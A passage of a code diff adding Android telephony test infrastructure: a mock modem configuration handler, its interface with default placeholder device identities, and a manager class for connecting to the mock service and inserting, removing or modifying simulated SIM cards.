+                    + " aId="
+                    + mAid;
+        }
+    }
+
+    public class MockModemConfigHandler extends Handler {
+        // ***** Handler implementation
+        @Override
+        public void handleMessage(Message msg) {
+            synchronized (mConfigAccess) {
+                switch (msg.what) {
+                    case EVENT_SET_RADIO_POWER:
+                        int state = msg.arg1;
+                        if (state >= RADIO_STATE_UNAVAILABLE && state <= RADIO_STATE_ON) {
+                            Log.d(
+                                    mTAG,
+                                    "EVENT_SET_RADIO_POWER: old("
+                                            + mRadioState
+                                            + "), new("
+                                            + state
+                                            + ")");
+                            if (mRadioState != state) {
+                                mRadioState = state;
+                                mRadioStateChangedRegistrants.notifyRegistrants(
+                                        new AsyncResult(null, mRadioState, null));
+                            }
+                        } else {
+                            Log.e(mTAG, "EVENT_SET_RADIO_POWER: invalid state(" + state + ")");
+                            mRadioStateChangedRegistrants.notifyRegistrants(null);
+                        }
+                        break;
+                    case EVENT_CHANGE_SIM_PROFILE:
+                        int simprofileid =
+                                msg.getData()
+                                        .getInt(
+                                                "changeSimProfile",
+                                                MockSimService.MOCK_SIM_PROFILE_ID_DEFAULT);
+                        Log.d(mTAG, "EVENT_CHANGE_SIM_PROFILE: sim profile(" + simprofileid + ")");
+                        if (loadSIMCard(simprofileid)) {
+                            if (mSubId == DEFAULT_SUB_ID) {
+                                mSimSlotStatusChangedRegistrants.notifyRegistrants(
+                                        new AsyncResult(null, mSimSlotStatus, null));
+                            }
+                            mCardStatusChangedRegistrants.notifyRegistrants(
+                                    new AsyncResult(null, mCardStatus, null));
+                            mSimAppDataChangedRegistrants.notifyRegistrants(
+                                    new AsyncResult(null, mSimAppList, null));
+                        } else {
+                            Log.e(mTAG, "Load Sim card failed.");
+                        }
+                        break;
+                    case EVENT_SERVICE_STATE_CHANGE:
+                        Log.d(mTAG, "EVENT_SERVICE_STATE_CHANGE");
+                        // Notify object MockNetworkService
+                        mServiceStateChangedRegistrants.notifyRegistrants(
+                                new AsyncResult(null, msg.obj, null));
+                        break;
+                    case EVENT_SET_SIM_INFO:
+                        int simInfoType = msg.getData().getInt("setSimInfo:type", -1);
+                        String[] simInfoData = msg.getData().getStringArray("setSimInfo:data");
+                        Log.d(
+                                mTAG,
+                                "EVENT_SET_SIM_INFO: type = "
+                                        + simInfoType
+                                        + " data length = "
+                                        + simInfoData.length);
+                        for (int i = 0; i < simInfoData.length; i++) {
+                            Log.d(mTAG, "simInfoData[" + i + "] = " + simInfoData[i]);
+                        }
+                        SimInfoChangedResult simInfoChangeResult =
+                                setSimInfo(simInfoType, simInfoData);
+                        if (simInfoChangeResult != null) {
+                            switch (simInfoChangeResult.mSimInfoType) {
+                                case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+                                case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+                                    mSimInfoChangedRegistrants.notifyRegistrants(
+                                            new AsyncResult(null, simInfoChangeResult, null));
+                                    mSimAppDataChangedRegistrants.notifyRegistrants(
+                                            new AsyncResult(null, mSimAppList, null));
+                                    // Card status changed still needed for updating carrier config
+                                    // in Telephony Framework
+                                    if (mSubId == DEFAULT_SUB_ID) {
+                                        mSimSlotStatusChangedRegistrants.notifyRegistrants(
+                                                new AsyncResult(null, mSimSlotStatus, null));
+                                    }
+                                    mCardStatusChangedRegistrants.notifyRegistrants(
+                                            new AsyncResult(null, mCardStatus, null));
+                                    break;
+                                case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+                                    if (mSubId == DEFAULT_SUB_ID) {
+                                        mSimSlotStatusChangedRegistrants.notifyRegistrants(
+                                                new AsyncResult(null, mSimSlotStatus, null));
+                                    }
+                                    mCardStatusChangedRegistrants.notifyRegistrants(
+                                            new AsyncResult(null, mCardStatus, null));
+                                    break;
+                            }
+                        }
+                        break;
+                }
+            }
+        }
+    }
+
+    public Handler getMockModemConfigHandler() {
+        return mHandler;
+    }
+
+    private void setDefaultConfigValue() {
+        synchronized (mConfigAccess) {
+            mBasebandVersion = MockModemConfigInterface.DEFAULT_BASEBAND_VERSION;
+            mImei = MockModemConfigInterface.DEFAULT_IMEI;
+            mImeiSv = MockModemConfigInterface.DEFAULT_IMEISV;
+            mEsn = MockModemConfigInterface.DEFAULT_ESN;
+            mMeid = MockModemConfigInterface.DEFAULT_MEID;
+            mRadioState = MockModemConfigInterface.DEFAULT_RADIO_STATE;
+            mNumOfLiveModem = MockModemConfigInterface.DEFAULT_NUM_OF_LIVE_MODEM;
+            setDefaultPhoneCapability(mPhoneCapability);
+            if (mSubId == DEFAULT_SUB_ID) {
+                updateSimSlotStatus();
+            }
+            updateCardStatus();
+        }
+    }
+
+    private void setDefaultPhoneCapability(PhoneCapability phoneCapability) {
+        phoneCapability.logicalModemIds =
+                new byte[MockModemConfigInterface.MAX_NUM_OF_LOGICAL_MODEM];
+        phoneCapability.maxActiveData = MockModemConfigInterface.DEFAULT_MAX_ACTIVE_DATA;
+        phoneCapability.maxActiveInternetData =
+                MockModemConfigInterface.DEFAULT_MAX_ACTIVE_INTERNAL_DATA;
+        phoneCapability.isInternetLingeringSupported =
+                MockModemConfigInterface.DEFAULT_IS_INTERNAL_LINGERING_SUPPORTED;
+        phoneCapability.logicalModemIds[0] = MockModemConfigInterface.DEFAULT_LOGICAL_MODEM1_ID;
+        phoneCapability.logicalModemIds[1] = MockModemConfigInterface.DEFAULT_LOGICAL_MODEM2_ID;
+    }
+
+    private void createSIMCards() {
+        for (int i = 0; i < mNumOfSim; i++) {
+            if (mSimService[i] == null) {
+                mSimService[i] = new MockSimService(mContext, i);
+            }
+        }
+    }
+
+    private void updateSimSlotStatus() {
+        if (mSubId != DEFAULT_SUB_ID) {
+            // Only sub 0 needs to response SimSlotStatus
+            return;
+        }
+
+        if (mSimService == null) {
+            Log.e(mTAG, "SIM service didn't be created yet.");
+        }
+
+        for (int i = 0; i < mNumOfSim; i++) {
+            if (mSimService[i] == null) {
+                Log.e(mTAG, "SIM service[" + i + "] didn't be created yet.");
+                continue;
+            }
+            int portInfoListLen = mSimService[i].getNumOfSimPortInfo();
+            mSimSlotStatus[i] = new SimSlotStatus();
+            mSimSlotStatus[i].cardState =
+                    mSimService[i].isCardPresent()
+                            ? CardStatus.STATE_PRESENT
+                            : CardStatus.STATE_ABSENT;
+            mSimSlotStatus[i].atr = mSimService[i].getATR();
+            mSimSlotStatus[i].eid = mSimService[i].getEID();
+            // Current only support one Sim port in MockSimService
+            SimPortInfo[] portInfoList0 = new SimPortInfo[portInfoListLen];
+            portInfoList0[0] = new SimPortInfo();
+            portInfoList0[0].portActive = mSimService[i].isSlotPortActive();
+            portInfoList0[0].logicalSlotId = mSimService[i].getLogicalSlotId();
+            portInfoList0[0].iccId = mSimService[i].getICCID();
+            mSimSlotStatus[i].portInfo = portInfoList0;
+        }
+    }
+
+    private void updateCardStatus() {
+        if (mSimPhyicalId != -1 && mSimService != null && mSimService[mSimPhyicalId] != null) {
+            int numOfSimApp = mSimService[mSimPhyicalId].getNumOfSimApp();
+            mCardStatus = new CardStatus();
+            mCardStatus.cardState =
+                    mSimService[mSimPhyicalId].isCardPresent()
+                            ? CardStatus.STATE_PRESENT
+                            : CardStatus.STATE_ABSENT;
+            mCardStatus.universalPinState = mSimService[mSimPhyicalId].getUniversalPinState();
+            mCardStatus.gsmUmtsSubscriptionAppIndex = mSimService[mSimPhyicalId].getGsmAppIndex();
+            mCardStatus.cdmaSubscriptionAppIndex = mSimService[mSimPhyicalId].getCdmaAppIndex();
+            mCardStatus.imsSubscriptionAppIndex = mSimService[mSimPhyicalId].getImsAppIndex();
+            mCardStatus.applications = mSimService[mSimPhyicalId].getSimApp();
+            mCardStatus.atr = mSimService[mSimPhyicalId].getATR();
+            mCardStatus.iccid = mSimService[mSimPhyicalId].getICCID();
+            mCardStatus.eid = mSimService[mSimPhyicalId].getEID();
+            mCardStatus.slotMap = new SlotPortMapping();
+            mCardStatus.slotMap.physicalSlotId = mSimService[mSimPhyicalId].getPhysicalSlotId();
+            mCardStatus.slotMap.portId = mSimService[mSimPhyicalId].getSlotPortId();
+            mSimAppList = mSimService[mSimPhyicalId].getSimAppList();
+        } else {
+            Log.e(
+                    mTAG,
+                    "Invalid Sim physical id("
+                            + mSimPhyicalId
+                            + ") or SIM card didn't be created.");
+        }
+    }
+
+    private boolean loadSIMCard(int simProfileId) {
+        boolean result = false;
+        if (mSimPhyicalId != -1 && mSimService != null && mSimService[mSimPhyicalId] != null) {
+            result = mSimService[mSimPhyicalId].loadSimCard(simProfileId);
+            if (mSubId == DEFAULT_SUB_ID) {
+                updateSimSlotStatus();
+            }
+            updateCardStatus();
+        }
+        return result;
+    }
+
+    private String generateRandomIccid(String baseIccid) {
+        String newIccid;
+        Random rnd = new Random();
+        StringBuilder randomNum = new StringBuilder();
+
+        // Generate random 12-digit account id
+        for (int i = 0; i < 12; i++) {
+            randomNum.append(rnd.nextInt(10));
+        }
+
+        Log.d(mTAG, "Random Num = " + randomNum.toString());
+
+        // TODO: regenerate checksum
+        // Simply modify account id from base Iccid
+        newIccid =
+                baseIccid.substring(0, 7)
+                        + randomNum.toString()
+                        + baseIccid.substring(baseIccid.length() - 1);
+
+        Log.d(mTAG, "Generate new Iccid = " + newIccid);
+
+        return newIccid;
+    }
+
+    private SimInfoChangedResult setSimInfo(int simInfoType, String[] simInfoData) {
+        SimInfoChangedResult result = null;
+
+        if (simInfoData == null) {
+            Log.e(mTAG, "simInfoData == null");
+            return result;
+        }
+
+        switch (simInfoType) {
+            case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+                if (simInfoData.length == 2 && simInfoData[0] != null && simInfoData[1] != null) {
+                    String msin = mSimService[mSimPhyicalId].getMsin();
+
+                    // Adjust msin length to make sure IMSI length is valid.
+                    if (simInfoData[1].length() == 3 && msin.length() == 10) {
+                        msin = msin.substring(0, msin.length() - 1);
+                        Log.d(mTAG, "Modify msin = " + msin);
+                    }
+                    mSimService[mSimPhyicalId].setImsi(simInfoData[0], simInfoData[1], msin);
+
+                    // Auto-generate a new Iccid to change carrier config id in Android Framework
+                    mSimService[mSimPhyicalId].setICCID(
+                            generateRandomIccid(mSimService[mSimPhyicalId].getICCID()));
+                    updateSimSlotStatus();
+                    updateCardStatus();
+
+                    result =
+                            new SimInfoChangedResult(
+                                    simInfoType,
+                                    EF_ICCID,
+                                    mSimService[mSimPhyicalId].getActiveSimAppId());
+                }
+                break;
+            case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+                if (simInfoData.length == 3
+                        && simInfoData[0] != null
+                        && simInfoData[1] != null
+                        && simInfoData[2] != null) {
+                    mSimService[mSimPhyicalId].setImsi(
+                            simInfoData[0], simInfoData[1], simInfoData[2]);
+
+                    // Auto-generate a new Iccid to change carrier config id in Android Framework
+                    mSimService[mSimPhyicalId].setICCID(
+                            generateRandomIccid(mSimService[mSimPhyicalId].getICCID()));
+                    updateSimSlotStatus();
+                    updateCardStatus();
+
+                    result =
+                            new SimInfoChangedResult(
+                                    simInfoType,
+                                    EF_ICCID,
+                                    mSimService[mSimPhyicalId].getActiveSimAppId());
+                }
+                break;
+            case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+                if (simInfoData[0] != null) {
+                    mSimService[mSimPhyicalId].setATR(simInfoData[0]);
+                    updateSimSlotStatus();
+                    updateCardStatus();
+                    result = new SimInfoChangedResult(simInfoType, 0, "");
+                }
+                break;
+            default:
+                Log.e(mTAG, "Not support Sim info type(" + simInfoType + ") to modify");
+                break;
+        }
+
+        return result;
+    }
+
+    private void notifyDeviceIdentityChangedRegistrants() {
+        String[] deviceIdentity = new String[4];
+        synchronized (mConfigAccess) {
+            deviceIdentity[0] = mImei;
+            deviceIdentity[1] = mImeiSv;
+            deviceIdentity[2] = mEsn;
+            deviceIdentity[3] = mMeid;
+        }
+        AsyncResult ar = new AsyncResult(null, deviceIdentity, null);
+        mDeviceIdentityChangedRegistrants.notifyRegistrants(ar);
+    }
+
+    // ***** MockModemConfigInterface implementation
+    @Override
+    public void notifyAllRegistrantNotifications() {
+        Log.d(mTAG, "notifyAllRegistrantNotifications");
+        synchronized (mConfigAccess) {
+            // IRadioConfig
+            mNumOfLiveModemChangedRegistrants.notifyRegistrants(
+                    new AsyncResult(null, mNumOfLiveModem, null));
+            mPhoneCapabilityChangedRegistrants.notifyRegistrants(
+                    new AsyncResult(null, mPhoneCapability, null));
+            mSimSlotStatusChangedRegistrants.notifyRegistrants(
+                    new AsyncResult(null, mSimSlotStatus, null));
+
+            // IRadioModem
+            mBasebandVersionChangedRegistrants.notifyRegistrants(
+                    new AsyncResult(null, mBasebandVersion, null));
+            notifyDeviceIdentityChangedRegistrants();
+            mRadioStateChangedRegistrants.notifyRegistrants(
+                    new AsyncResult(null, mRadioState, null));
+
+            // IRadioSim
+            mCardStatusChangedRegistrants.notifyRegistrants(
+                    new AsyncResult(null, mCardStatus, null));
+            mSimAppDataChangedRegistrants.notifyRegistrants(
+                    new AsyncResult(null, mSimAppList, null));
+        }
+    }
+
+    // ***** IRadioConfig notification implementation
+    @Override
+    public void registerForNumOfLiveModemChanged(Handler h, int what, Object obj) {
+        mNumOfLiveModemChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForNumOfLiveModemChanged(Handler h) {
+        mNumOfLiveModemChangedRegistrants.remove(h);
+    }
+
+    @Override
+    public void registerForPhoneCapabilityChanged(Handler h, int what, Object obj) {
+        mPhoneCapabilityChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForPhoneCapabilityChanged(Handler h) {
+        mPhoneCapabilityChangedRegistrants.remove(h);
+    }
+
+    @Override
+    public void registerForSimSlotStatusChanged(Handler h, int what, Object obj) {
+        mSimSlotStatusChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForSimSlotStatusChanged(Handler h) {
+        mSimSlotStatusChangedRegistrants.remove(h);
+    }
+
+    // ***** IRadioModem notification implementation
+    @Override
+    public void registerForBasebandVersionChanged(Handler h, int what, Object obj) {
+        mBasebandVersionChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForBasebandVersionChanged(Handler h) {
+        mBasebandVersionChangedRegistrants.remove(h);
+    }
+
+    @Override
+    public void registerForDeviceIdentityChanged(Handler h, int what, Object obj) {
+        mDeviceIdentityChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForDeviceIdentityChanged(Handler h) {
+        mDeviceIdentityChangedRegistrants.remove(h);
+    }
+
+    @Override
+    public void registerForRadioStateChanged(Handler h, int what, Object obj) {
+        mRadioStateChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForRadioStateChanged(Handler h) {
+        mRadioStateChangedRegistrants.remove(h);
+    }
+
+    // ***** IRadioSim notification implementation
+    @Override
+    public void registerForCardStatusChanged(Handler h, int what, Object obj) {
+        mCardStatusChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForCardStatusChanged(Handler h) {
+        mCardStatusChangedRegistrants.remove(h);
+    }
+
+    @Override
+    public void registerForSimAppDataChanged(Handler h, int what, Object obj) {
+        mSimAppDataChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForSimAppDataChanged(Handler h) {
+        mSimAppDataChangedRegistrants.remove(h);
+    }
+
+    @Override
+    public void registerForSimInfoChanged(Handler h, int what, Object obj) {
+        mSimInfoChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForSimInfoChanged(Handler h) {
+        mSimInfoChangedRegistrants.remove(h);
+    }
+
+    // ***** IRadioNetwork notification implementation
+    @Override
+    public void registerForServiceStateChanged(Handler h, int what, Object obj) {
+        mServiceStateChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForServiceStateChanged(Handler h) {
+        mServiceStateChangedRegistrants.remove(h);
+    }
+
+    // ***** IRadioConfig set APIs implementation
+
+    // ***** IRadioModem set APIs implementation
+    @Override
+    public void setRadioState(int state, String client) {
+        Log.d(mTAG, "setRadioState (" + state + ") from " + client);
+
+        Message msg = mHandler.obtainMessage(EVENT_SET_RADIO_POWER);
+        msg.arg1 = state;
+        mHandler.sendMessage(msg);
+    }
+
+    // ***** IRadioSim set APIs implementation
+
+    // ***** IRadioNetwork set APIs implementation
+
+    // ***** IRadioVoice set APIs implementation
+
+    // ***** IRadioData set APIs implementation
+
+    // ***** IRadioMessaging set APIs implementation
+
+    // ***** Helper APIs implementation
+    @Override
+    public boolean isSimCardPresent(String client) {
+        Log.d(mTAG, "isSimCardPresent from: " + client);
+        boolean isPresent;
+        synchronized (mConfigAccess) {
+            isPresent = (mCardStatus.cardState == CardStatus.STATE_PRESENT) ? true : false;
+        }
+        return isPresent;
+    }
+
+    @Override
+    public void changeSimProfile(int simprofileid, String client) {
+        Log.d(mTAG, "changeSimProfile: profile id(" + simprofileid + ") from: " + client);
+
+        Message msg = mHandler.obtainMessage(EVENT_CHANGE_SIM_PROFILE);
+        msg.getData().putInt("changeSimProfile", simprofileid);
+        mHandler.sendMessage(msg);
+    }
+
+    @Override
+    public void setSimInfo(int type, String[] data, String client) {
+        Log.d(mTAG, "setSimInfo: type(" + type + ") from: " + client);
+        Message msg = mHandler.obtainMessage(EVENT_SET_SIM_INFO);
+        Bundle bundle = msg.getData();
+        bundle.putInt("setSimInfo:type", type);
+        bundle.putStringArray("setSimInfo:data", data);
+        mHandler.sendMessage(msg);
+    }
+
+    @Override
+    public String getSimInfo(int type, String client) {
+        Log.d(mTAG, "getSimInfo: type(" + type + ") from: " + client);
+        String result = "";
+
+        synchronized (mConfigAccess) {
+            switch (type) {
+                case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+                    result = mSimService[mSimPhyicalId].getMccMnc();
+                    break;
+                case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+                    result = mSimService[mSimPhyicalId].getImsi();
+                    break;
+                case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+                    result = mCardStatus.atr;
+                    break;
+                default:
+                    Log.e(mTAG, "Not support this type of SIM info.");
+                    break;
+            }
+        }
+
+        return result;
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java
new file mode 100644
index 0000000..5e5c181
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.os.Handler;
+
+public interface MockModemConfigInterface {
+
+    // ***** Constants
+    int MAX_NUM_OF_SIM_SLOT = 3; // Change this needs to add more SIM SLOT NVs.
+    int MAX_NUM_OF_LOGICAL_MODEM = 2; // Change this needs to add more MODEM NVs.
+    int RADIO_STATE_UNAVAILABLE = 0;
+    int RADIO_STATE_OFF = 1;
+    int RADIO_STATE_ON = 2;
+
+    // Default config value
+    String DEFAULT_BASEBAND_VERSION = "mock-modem-service-1.0";
+    String DEFAULT_IMEI = "123456789012345";
+    String DEFAULT_IMEISV = "01";
+    String DEFAULT_ESN = "123456789";
+    String DEFAULT_MEID = "123456789012345";
+    int DEFAULT_RADIO_STATE = RADIO_STATE_UNAVAILABLE;
+    int DEFAULT_NUM_OF_LIVE_MODEM = 1; // Should <= MAX_NUM_OF_MODEM
+    int DEFAULT_MAX_ACTIVE_DATA = 2;
+    int DEFAULT_MAX_ACTIVE_INTERNAL_DATA = 1;
+    boolean DEFAULT_IS_INTERNAL_LINGERING_SUPPORTED = false;
+    int DEFAULT_LOGICAL_MODEM1_ID = 0;
+    int DEFAULT_LOGICAL_MODEM2_ID = 1;
+
+    // ***** Methods
+    Handler getMockModemConfigHandler();
+
+    /** Broadcast all notifications */
+    void notifyAllRegistrantNotifications();
+
+    // ***** IRadioConfig
+    /** Register/unregister notification handler for number of modem changed */
+    void registerForNumOfLiveModemChanged(Handler h, int what, Object obj);
+
+    void unregisterForNumOfLiveModemChanged(Handler h);
+
+    /** Register/unregister notification handler for sim slot status changed */
+    void registerForPhoneCapabilityChanged(Handler h, int what, Object obj);
+
+    void unregisterForPhoneCapabilityChanged(Handler h);
+
+    /** Register/unregister notification handler for sim slot status changed */
+    void registerForSimSlotStatusChanged(Handler h, int what, Object obj);
+
+    void unregisterForSimSlotStatusChanged(Handler h);
+
+    // ***** IRadioModem
+    /** Register/unregister notification handler for baseband version changed */
+    void registerForBasebandVersionChanged(Handler h, int what, Object obj);
+
+    void unregisterForBasebandVersionChanged(Handler h);
+
+    /** Register/unregister notification handler for device identity changed */
+    void registerForDeviceIdentityChanged(Handler h, int what, Object obj);
+
+    void unregisterForDeviceIdentityChanged(Handler h);
+
+    /** Register/unregister notification handler for radio state changed */
+    void registerForRadioStateChanged(Handler h, int what, Object obj);
+
+    void unregisterForRadioStateChanged(Handler h);
+
+    // ***** IRadioSim
+    /** Register/unregister notification handler for card status changed */
+    void registerForCardStatusChanged(Handler h, int what, Object obj);
+
+    void unregisterForCardStatusChanged(Handler h);
+
+    /** Register/unregister notification handler for sim app data changed */
+    void registerForSimAppDataChanged(Handler h, int what, Object obj);
+
+    void unregisterForSimAppDataChanged(Handler h);
+
+    /** Register/unregister notification handler for sim info changed */
+    void registerForSimInfoChanged(Handler h, int what, Object obj);
+
+    void unregisterForSimInfoChanged(Handler h);
+
+    // ***** IRadioNetwork
+    /** Register/unregister notification handler for service status changed */
+    void registerForServiceStateChanged(Handler h, int what, Object obj);
+
+    void unregisterForServiceStateChanged(Handler h);
+
+    /**
+     * Sets the latest radio power state of modem
+     *
+     * @param state 0 means "unavailable", 1 means "off", 2 means "on".
+     * @param client for tracking calling client
+     */
+    void setRadioState(int state, String client);
+
+    /**
+     * Query whether any SIM cards are present or not.
+     *
+     * @param client for tracking calling client
+     * @return boolean true if any sim card inserted, otherwise false.
+     */
+    boolean isSimCardPresent(String client);
+
+    /**
+     * Change SIM profile
+     *
+     * @param simProfileId The target profile to be switched.
+     * @param client for tracking calling client
+     */
+    void changeSimProfile(int simProfileId, String client);
+
+    /**
+     * Modify SIM info of the SIM such as MCC/MNC, IMSI, etc.
+     *
+     * @param type the type of SIM info to modify.
+     * @param data to modify for the type of SIM info.
+     * @param client for tracking calling client
+     */
+    void setSimInfo(int type, String[] data, String client);
+
+    /**
+     * Get SIM info of the SIM slot, e.g. MCC/MNC, IMSI.
+     *
+     * @param type the type of SIM info.
+     * @param client for tracking calling client
+     * @return String the SIM info of the queried type.
+     */
+    String getSimInfo(int type, String client);
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
new file mode 100644
index 0000000..772c7f8
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
@@ -0,0 +1,308 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.MOCK_SIM_PROFILE_ID_DEFAULT;
+
+import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
+
+import android.content.Context;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+public class MockModemManager {
+    private static final String TAG = "MockModemManager";
+
+    private static Context sContext;
+    private static MockModemServiceConnector sServiceConnector;
+    private MockModemService mMockModemService;
+
+    public MockModemManager() {
+        sContext = InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private void waitForTelephonyFrameworkDone(int delayInSec) throws Exception {
+        TimeUnit.SECONDS.sleep(delayInSec);
+    }
+
+    /* Public APIs */
+
+    /**
+     * Bring up Mock Modem Service and connect to it.
+     *
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean connectMockModemService() throws Exception {
+        return connectMockModemService(MOCK_SIM_PROFILE_ID_DEFAULT);
+    }
+    /**
+     * Bring up Mock Modem Service and connect to it.
+     *
+     * @pararm simprofile for initial Sim profile
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean connectMockModemService(int simprofile) throws Exception {
+        boolean result = false;
+
+        if (sServiceConnector == null) {
+            sServiceConnector =
+                    new MockModemServiceConnector(InstrumentationRegistry.getInstrumentation());
+        }
+
+        if (sServiceConnector != null) {
+            // TODO: support DSDS
+            result = sServiceConnector.connectMockModemService(simprofile);
+
+            if (result) {
+                mMockModemService = sServiceConnector.getMockModemService();
+
+                if (mMockModemService != null) {
+                    /*
+                     It needs to have a delay to wait for Telephony Framework to bind with
+                     MockModemService and set radio power as a desired state for initial condition
+                     even get SIM card state. Currently, 1 sec is enough for now.
+                    */
+                    waitForTelephonyFrameworkDone(1);
+                } else {
+                    Log.e(TAG, "MockModemService get failed!");
+                    result = false;
+                }
+            }
+        } else {
+            Log.e(TAG, "Create MockModemServiceConnector failed!");
+        }
+
+        return result;
+    }
+
+    /**
+     * Disconnect from Mock Modem Service.
+     *
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean disconnectMockModemService() throws Exception {
+        boolean result = false;
+
+        if (sServiceConnector != null) {
+            result = sServiceConnector.disconnectMockModemService();
+
+            if (result) {
+                mMockModemService = null;
+            } else {
+                Log.e(TAG, "MockModemService disconnected failed!");
+            }
+        } else {
+            Log.e(TAG, "No MockModemServiceConnector exist!");
+        }
+
+        return result;
+    }
+
+    /**
+     * Query whether an active SIM card is present on this slot or not.
+     *
+     * @param slotId which slot would be checked.
+     * @return boolean true if any sim card inserted, otherwise false.
+     */
+    public boolean isSimCardPresent(int slotId) throws Exception {
+        Log.d(TAG, "isSimCardPresent[" + slotId + "]");
+
+        MockModemConfigInterface[] configInterfaces =
+                mMockModemService.getMockModemConfigInterfaces();
+        return (configInterfaces != null) ? configInterfaces[slotId].isSimCardPresent(TAG) : false;
+    }
+
+    /**
+     * Insert a SIM card.
+     *
+     * @param slotId which slot would insert.
+     * @param simProfileId which carrier sim card is inserted.
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean insertSimCard(int slotId, int simProfileId) throws Exception {
+        Log.d(TAG, "insertSimCard[" + slotId + "] with profile Id(" + simProfileId + ")");
+        boolean result = true;
+
+        if (!isSimCardPresent(slotId)) {
+            MockModemConfigInterface[] configInterfaces =
+                    mMockModemService.getMockModemConfigInterfaces();
+            if (configInterfaces != null) {
+                configInterfaces[slotId].changeSimProfile(simProfileId, TAG);
+                waitForTelephonyFrameworkDone(1);
+            }
+        } else {
+            Log.d(TAG, "There is a SIM inserted. Need to remove first.");
+            result = false;
+        }
+        return result;
+    }
+
+    /**
+     * Remove a SIM card.
+     *
+     * @param slotId which slot would remove the SIM.
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean removeSimCard(int slotId) throws Exception {
+        Log.d(TAG, "removeSimCard[" + slotId + "]");
+        boolean result = true;
+
+        if (isSimCardPresent(slotId)) {
+            MockModemConfigInterface[] configInterfaces =
+                    mMockModemService.getMockModemConfigInterfaces();
+            if (configInterfaces != null) {
+                configInterfaces[slotId].changeSimProfile(MOCK_SIM_PROFILE_ID_DEFAULT, TAG);
+                waitForTelephonyFrameworkDone(1);
+            }
+        } else {
+            Log.d(TAG, "There is no SIM inserted.");
+            result = false;
+        }
+        return result;
+    }
+
+    /**
+     * Modify SIM info of the SIM such as MCC/MNC, IMSI, etc.
+     *
+     * @param slotId for modifying.
+     * @param type the type of SIM info to modify.
+     * @param data to modify for the type of SIM info.
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean setSimInfo(int slotId, int type, String[] data) throws Exception {
+        Log.d(TAG, "setSimInfo[" + slotId + "]");
+        boolean result = true;
+
+        if (isSimCardPresent(slotId)) {
+            MockModemConfigInterface[] configInterfaces =
+                    mMockModemService.getMockModemConfigInterfaces();
+            if (configInterfaces != null) {
+                configInterfaces[slotId].setSimInfo(type, data, TAG);
+
+                // Wait for telephony framework refresh data and carrier config
+                waitForTelephonyFrameworkDone(2);
+            } else {
+                Log.e(TAG, "MockModemConfigInterface == null!");
+                result = false;
+            }
+        } else {
+            Log.d(TAG, "There is no SIM inserted.");
+            result = false;
+        }
+        return result;
+    }
+
+    /**
+     * Get SIM info of the SIM slot, e.g. MCC/MNC, IMSI.
+     *
+     * @param slotId for the query.
+     * @param type the type of SIM info.
+     * @return String the SIM info of the queried type.
+     */
+    public String getSimInfo(int slotId, int type) throws Exception {
+        Log.d(TAG, "getSimInfo[" + slotId + "]");
+        String result = "";
+
+        if (isSimCardPresent(slotId)) {
+            MockModemConfigInterface[] configInterfaces =
+                    mMockModemService.getMockModemConfigInterfaces();
